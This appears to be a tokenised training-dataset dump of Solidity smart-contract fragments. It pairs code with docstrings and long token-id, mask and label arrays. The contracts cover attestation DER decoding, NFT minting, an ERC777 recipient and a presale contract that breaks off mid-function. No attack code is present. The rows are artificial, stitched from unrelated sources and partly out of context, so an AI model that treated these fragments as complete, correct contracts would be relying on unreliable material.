function getAttestationTimestamp(bytes memory attestation) public pure returns(string memory startTime, string memory endTime)
{
uint256 length = 0;
uint256 decodeIndex = 0;
/*
Attestation structure:
Length, Length
- Version,
- Serial,
- Signature type,
- Issuer Sequence,
- Validity Time period Start, finish
*/
(length, decodeIndex) = decodeLength(attestation, 1); // 924
(length, decodeIndex) = decodeLength(attestation, decodeIndex+1); // 168
(length, decodeIndex) = decodeLength(attestation, decodeIndex+length+1); // 576
(length, decodeIndex) = decodeLength(attestation, decodeIndex+1); // 493
(length, decodeIndex) = decodeLength(attestation, decodeIndex + 1); // Version
(length, decodeIndex) = decodeLength(attestation, decodeIndex + 1 + length); // Serial
(length, decodeIndex) = decodeLength(attestation, decodeIndex + 1 + length); // Signature type (9) 1.2.840.10045.2.1
(length, decodeIndex) = decodeLength(attestation, decodeIndex + 1 + length); // Issuer Sequence (14) [[2.5.4.3, ALX]]], (Issuer: CN=ALX)
(length, decodeIndex) = decodeLength(attestation, decodeIndex + 1 + length); // Time sequence header
bytes memory timeData;
(length, timeData, decodeIndex) = decodeElement(attestation, decodeIndex);
startTime = copyStringBlock(timeData);
(length, timeData, decodeIndex) = decodeElement(attestation, decodeIndex);
endTime = copyStringBlock(timeData);
}
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len;
while (_i != 0) {
k = k-1;
uint8 temp = (48 + uint8(_i - _i / 10 * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(bstr);
}
function publicKeyToAddress(bytes memory publicKey) pure internal returns(address keyAddr)
{
bytes32 keyHash = keccak256(publicKey);
bytes memory scratch = new bytes(32);
assembly {
mstore(add(scratch, 32), keyHash)
mstore(add(scratch, 12), 0)
keyAddr := mload(add(scratch, 32))
}
}
function recoverSigner(bytes32 hash, bytes memory signature) internal pure returns(address signer)
{
(bytes32 r, bytes32 s, uint8 v) = splitSignature(signature);
return ecrecover(hash, v, r, s);
}
function splitSignature(bytes memory sig)
internal pure returns (bytes32 r, bytes32 s, uint8 v)
{
require(sig.length == 65, "invalid signature length");
assembly {
// first 32 bytes, after the length prefix
r := mload(add(sig, 32))
// second 32 bytes
s := mload(add(sig, 64))
// final byte (first byte of the next 32 bytes)
v := byte(0, mload(add(sig, 96)))
}
}
function decodeDERData(bytes memory byteCode, uint dIndex) internal pure returns(bytes memory data, uint256 index, uint256 length)
{
return decodeDERData(byteCode, dIndex, 0);
}
function copyDataBlock(bytes memory byteCode, uint dIndex, uint length) internal pure returns(bytes memory data)
{
uint256 blank = 0;
uint256 index = dIndex;
uint dStart = 0x20 + index;
uint cycles = length / 0x20;
uint requiredAlloc = length;
if (length % 0x20 > 0) //optimise copying the final part of the bytes - remove the looping
{
cycles++;
requiredAlloc += 0x20; //expand memory to allow end blank
}
data = new bytes(requiredAlloc);
assembly {
let mc := add(data, 0x20) //offset into bytes we're writing into
let cycle := 0
for
{
let cc := add(byteCode, dStart)
} lt(cycle, cycles) {
mc := add(mc, 0x20)
cc := add(cc, 0x20)
cycle := add(cycle, 0x01)
} {
mstore(mc, mload(cc))
}
}
//finally blank final bytes and shrink size
if (length % 0x20 > 0)
{
uint offsetStart = 0x20 + length;
assembly
{
let mc := add(data, offsetStart)
mstore(mc, mload(add(blank, 0x20)))
//now shrink the memory back
mstore(data, length)
}
}
}
function copyStringBlock(bytes memory byteCode) internal pure returns(string memory stringData)
{
uint256 blank = 0; //blank 32 byte value
uint256 length = byteCode.length;
uint cycles = byteCode.length / 0x20;
uint requiredAlloc = length;
if (length % 0x20 > 0) //optimise copying the final part of the bytes - to avoid looping with single byte writes
{
cycles++;
requiredAlloc += 0x20; //expand memory to allow end blank, so we don't smack the next stack entry
}
stringData = new string(requiredAlloc);
//copy data in 32 byte blocks
assembly {
let cycle := 0
for
{
let mc := add(stringData, 0x20) //pointer into bytes we're writing to
let cc := add(byteCode, 0x20) //pointer to where we're reading from
} lt(cycle, cycles) {
mc := add(mc, 0x20)
cc := add(cc, 0x20)
cycle := add(cycle, 0x01)
} {
mstore(mc, mload(cc))
}
}
//finally blank final bytes and shrink size (part of the optimisation to avoid looping adding blank bytes1)
if (length % 0x20 > 0)
{
uint offsetStart = 0x20 + length;
assembly
{
let mc := add(stringData, offsetStart)
mstore(mc, mload(add(blank, 0x20)))
//now shrink the memory back so the returned object is the correct size
mstore(stringData, length)
}
}
}
function decodeDERData(bytes memory byteCode, uint dIndex, uint offset) internal pure returns(bytes memory data, uint256 index, uint256 length)
{
index = dIndex + 1;
(length, index) = decodeLength(byteCode, index);
if (offset <= length)
{
uint requiredLength = length - offset;
uint dStart = index + offset;
data = copyDataBlock(byteCode, dStart, requiredLength);
}
index += length;
}
function decodeElement(bytes memory byteCode, uint decodeIndex) internal pure returns(uint256 length, bytes memory content, uint256 newIndex)
{
(content, newIndex, length) = decodeDERData(byteCode, decodeIndex);
}
function decodeElementOffset(bytes memory byteCode, uint decodeIndex, uint offset) internal pure returns(uint256 length, bytes memory content, uint256 newIndex)
{
(content, newIndex, length) = decodeDERData(byteCode, decodeIndex, offset);
}
function decodeLength(bytes memory byteCode, uint decodeIndex) internal pure returns(uint256 length, uint256 newIndex)
{
uint codeLength = 1;
length = 0;
newIndex = decodeIndex;
if ((byteCode[newIndex] & 0x80) == 0x80)
{
codeLength = uint8((byteCode[newIndex++] & 0x7f));
}
for (uint i = 0; i < codeLength; i++)
{
length |= uint(uint8(byteCode[newIndex++] & 0xFF)) << ((codeLength - i - 1) * 8);
}
}
function decodeIA5String(bytes memory byteCode, uint256[] memory objCodes, uint objCodeIndex, uint decodeIndex) internal pure returns(Status memory)
{
uint length = uint8(byteCode[decodeIndex++]);
bytes32 store = 0;
for (uint j = 0; j < length; j++) store |= bytes32(byteCode[decodeIndex++] & 0xFF) >> (j * 8);
objCodes[objCodeIndex++] = uint256(store);
Status memory retVal;
retVal.decodeIndex = decodeIndex;
retVal.objCodeIndex = objCodeIndex;
return retVal;
}
function mapTo256BitInteger(bytes memory input) internal pure returns(uint256 res)
{
bytes32 idHash = keccak256(input);
res = uint256(idHash);
}
struct Status {
uint decodeIndex;
uint objCodeIndex;
}
function endContract() public payable
{
if(msg.sender == owner)
{
selfdestruct(owner);
}
else revert();
}
} | read pre-hash header
| (length, decodeIndex) = decodeLength(preHash, 1); | 5,470,964 | [
1,
896,
675,
17,
2816,
1446,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
261,
2469,
16,
2495,
1016,
13,
273,
2495,
1782,
12,
1484,
2310,
16,
404,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/4/0x1035437055E139873B598dA39Eb3741f57dd6578/sources/contracts/DuneAvatar.sol | @custom:security-contact [email protected] | contract DuneAvatar is Initializable, ERC721Upgradeable, ERC721EnumerableUpgradeable, ERC721URIStorageUpgradeable, ERC721BurnableUpgradeable, OwnableUpgradeable {
using CountersUpgradeable for CountersUpgradeable.Counter;
CountersUpgradeable.Counter private _tokenIdCounter;
pragma solidity ^0.8.2;
constructor() initializer {}
function initialize() initializer public {
__ERC721_init("DuneAvatar", "AVATAR");
__ERC721Enumerable_init();
__ERC721URIStorage_init();
__ERC721Burnable_init();
__Ownable_init();
}
function safeMint(address to, string memory uri) public onlyOwner {
uint256 tokenId = _tokenIdCounter.current();
_tokenIdCounter.increment();
_safeMint(to, tokenId);
_setTokenURI(tokenId, uri);
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721Upgradeable, ERC721EnumerableUpgradeable)
{
super._beforeTokenTransfer(from, to, tokenId);
}
function _burn(uint256 tokenId)
internal
override(ERC721Upgradeable, ERC721URIStorageUpgradeable)
{
super._burn(tokenId);
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721Upgradeable, ERC721URIStorageUpgradeable)
returns (string memory)
{
return super.tokenURI(tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721Upgradeable, ERC721EnumerableUpgradeable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
}
| 13,299,998 | [
1,
36,
3662,
30,
7462,
17,
8994,
268,
318,
19556,
69,
36,
11961,
18,
832,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
463,
7556,
23999,
353,
10188,
6934,
16,
4232,
39,
27,
5340,
10784,
429,
16,
4232,
39,
27,
5340,
3572,
25121,
10784,
429,
16,
4232,
39,
27,
5340,
3098,
3245,
10784,
429,
16,
4232,
39,
27,
5340,
38,
321,
429,
10784,
429,
16,
14223,
6914,
10784,
429,
288,
203,
565,
1450,
9354,
87,
10784,
429,
364,
9354,
87,
10784,
429,
18,
4789,
31,
203,
203,
565,
9354,
87,
10784,
429,
18,
4789,
3238,
389,
2316,
548,
4789,
31,
203,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
22,
31,
203,
565,
3885,
1435,
12562,
2618,
203,
565,
445,
4046,
1435,
12562,
1071,
288,
203,
3639,
1001,
654,
39,
27,
5340,
67,
2738,
2932,
40,
7556,
23999,
3113,
315,
5856,
789,
985,
8863,
203,
3639,
1001,
654,
39,
27,
5340,
3572,
25121,
67,
2738,
5621,
203,
3639,
1001,
654,
39,
27,
5340,
3098,
3245,
67,
2738,
5621,
203,
3639,
1001,
654,
39,
27,
5340,
38,
321,
429,
67,
2738,
5621,
203,
3639,
1001,
5460,
429,
67,
2738,
5621,
203,
565,
289,
203,
203,
565,
445,
4183,
49,
474,
12,
2867,
358,
16,
533,
3778,
2003,
13,
1071,
1338,
5541,
288,
203,
3639,
2254,
5034,
1147,
548,
273,
389,
2316,
548,
4789,
18,
2972,
5621,
203,
3639,
389,
2316,
548,
4789,
18,
15016,
5621,
203,
3639,
389,
4626,
49,
474,
12,
869,
16,
1147,
548,
1769,
203,
3639,
389,
542,
1345,
3098,
12,
2316,
548,
16,
2003,
1769,
203,
565,
289,
203,
203,
203,
565,
445,
389,
5771,
1345,
5912,
12,
2867,
628,
2
]
|
./partial_match/1/0xEcD23EFF2F8C7a6384B002635edB1bb264AaEA52/sources/BangBangBangRoulette.sol | * @dev Remove a Discord channel ID from the array. @param _discordChannelId Discord channel ID to remove/ | function removeTgId(int64 _discordChannelId) internal {
for (uint256 i = 0; i < activeTgGroups.length; i++) {
if (activeTgGroups[i] == _discordChannelId) {
activeTgGroups[i] = activeTgGroups[activeTgGroups.length - 1];
activeTgGroups.pop();
}
}
}
| 3,670,169 | [
1,
3288,
279,
3035,
901,
1904,
1599,
628,
326,
526,
18,
225,
389,
2251,
901,
2909,
548,
3035,
901,
1904,
1599,
358,
1206,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1206,
56,
75,
548,
12,
474,
1105,
389,
2251,
901,
2909,
548,
13,
2713,
288,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
2695,
56,
75,
3621,
18,
2469,
31,
277,
27245,
288,
203,
5411,
309,
261,
3535,
56,
75,
3621,
63,
77,
65,
422,
389,
2251,
901,
2909,
548,
13,
288,
203,
7734,
2695,
56,
75,
3621,
63,
77,
65,
273,
2695,
56,
75,
3621,
63,
3535,
56,
75,
3621,
18,
2469,
300,
404,
15533,
203,
7734,
2695,
56,
75,
3621,
18,
5120,
5621,
203,
5411,
289,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0x17312cBD32DF845A3941F1Bc80f33Ad8f59c8426/sources/contracts/Balancer.sol | minAmountOut / tokenAmountOut / limitAmountOut
| uint tokenOutParam; | 3,222,124 | [
1,
1154,
6275,
1182,
342,
1147,
6275,
1182,
342,
1800,
6275,
1182,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
2254,
1147,
1182,
786,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.5.0;
import "../zeppelin/token/ERC777/IERC777Recipient.sol";
import "../zeppelin/introspection/IERC1820Registry.sol";
contract mockERC777Recipient is IERC777Recipient {
IERC1820Registry constant private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
constructor() public {
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this));
}
event Success(
address operator,
address from,
address to,
uint amount,
bytes userData,
bytes operatorData);
/**
* ERC-677's only method implementation
* See https://github.com/ethereum/EIPs/issues/677 for details
*/
function tokensReceived(
address operator,
address from,
address to,
uint amount,
bytes calldata userData,
bytes calldata operatorData
) external {
emit Success(operator, from, to, amount, userData, operatorData);
}
} | * ERC-677's only method implementation/ | function tokensReceived(
address operator,
address from,
address to,
uint amount,
bytes calldata userData,
bytes calldata operatorData
) external {
emit Success(operator, from, to, amount, userData, operatorData);
}
| 13,084,936 | [
1,
654,
39,
17,
26,
4700,
1807,
1338,
707,
4471,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
2430,
8872,
12,
203,
3639,
1758,
3726,
16,
203,
3639,
1758,
628,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
3844,
16,
203,
3639,
1731,
745,
892,
13530,
16,
203,
3639,
1731,
745,
892,
3726,
751,
203,
565,
262,
3903,
288,
203,
3639,
3626,
11958,
12,
9497,
16,
628,
16,
358,
16,
3844,
16,
13530,
16,
3726,
751,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
contract AcidGanApes is ERC721Enumerable, Ownable {
uint256 public constant maxApes = 10000;
uint256 private constant RESERVED_SUPPLY = 32;
uint256 public constant maxBatch = 20;
string public baseUri;
uint256 public price = 4 * 1e7 gwei; // 0.04 ETH
// Sale stuff
uint256 public saleStart = 1632146400; // Mon Sep 20 2021 14:00:00 GMT+0000
// Presale stuff
uint256 public presaleStart = 1632144600; // Mon Sep 20 2021 13:30:00 GMT+0000
mapping(address => uint256) public presaleAllowance;
constructor() ERC721('Acid GAN Apes', 'AGANA') {
baseUri = 'https://acidganapes.club/metadata/';
for (uint256 i = 0; i < RESERVED_SUPPLY; i++) {
uint256 mintIndex = i + 1;
_mint(owner(), mintIndex);
}
}
modifier canPresaleMint() {
require(block.timestamp >= presaleStart, 'Presale not started');
_;
}
modifier canMint() {
require(block.timestamp >= saleStart, 'Sale not started');
_;
}
function presaleMint(uint256 quantity) external payable canPresaleMint {
require(quantity > 0 && quantity <= presaleAllowance[_msgSender()], 'Quantity must be x > 0 and x <= senderAllowance');
require((totalSupply() + quantity) <= maxApes, 'Not enough apes');
uint256 totalCost = quantity * price;
require(msg.value >= totalCost, 'Insufficient ETH');
presaleAllowance[_msgSender()] -= quantity;
payable(owner()).transfer(msg.value);
for (uint256 i = 0; i < quantity; i++) {
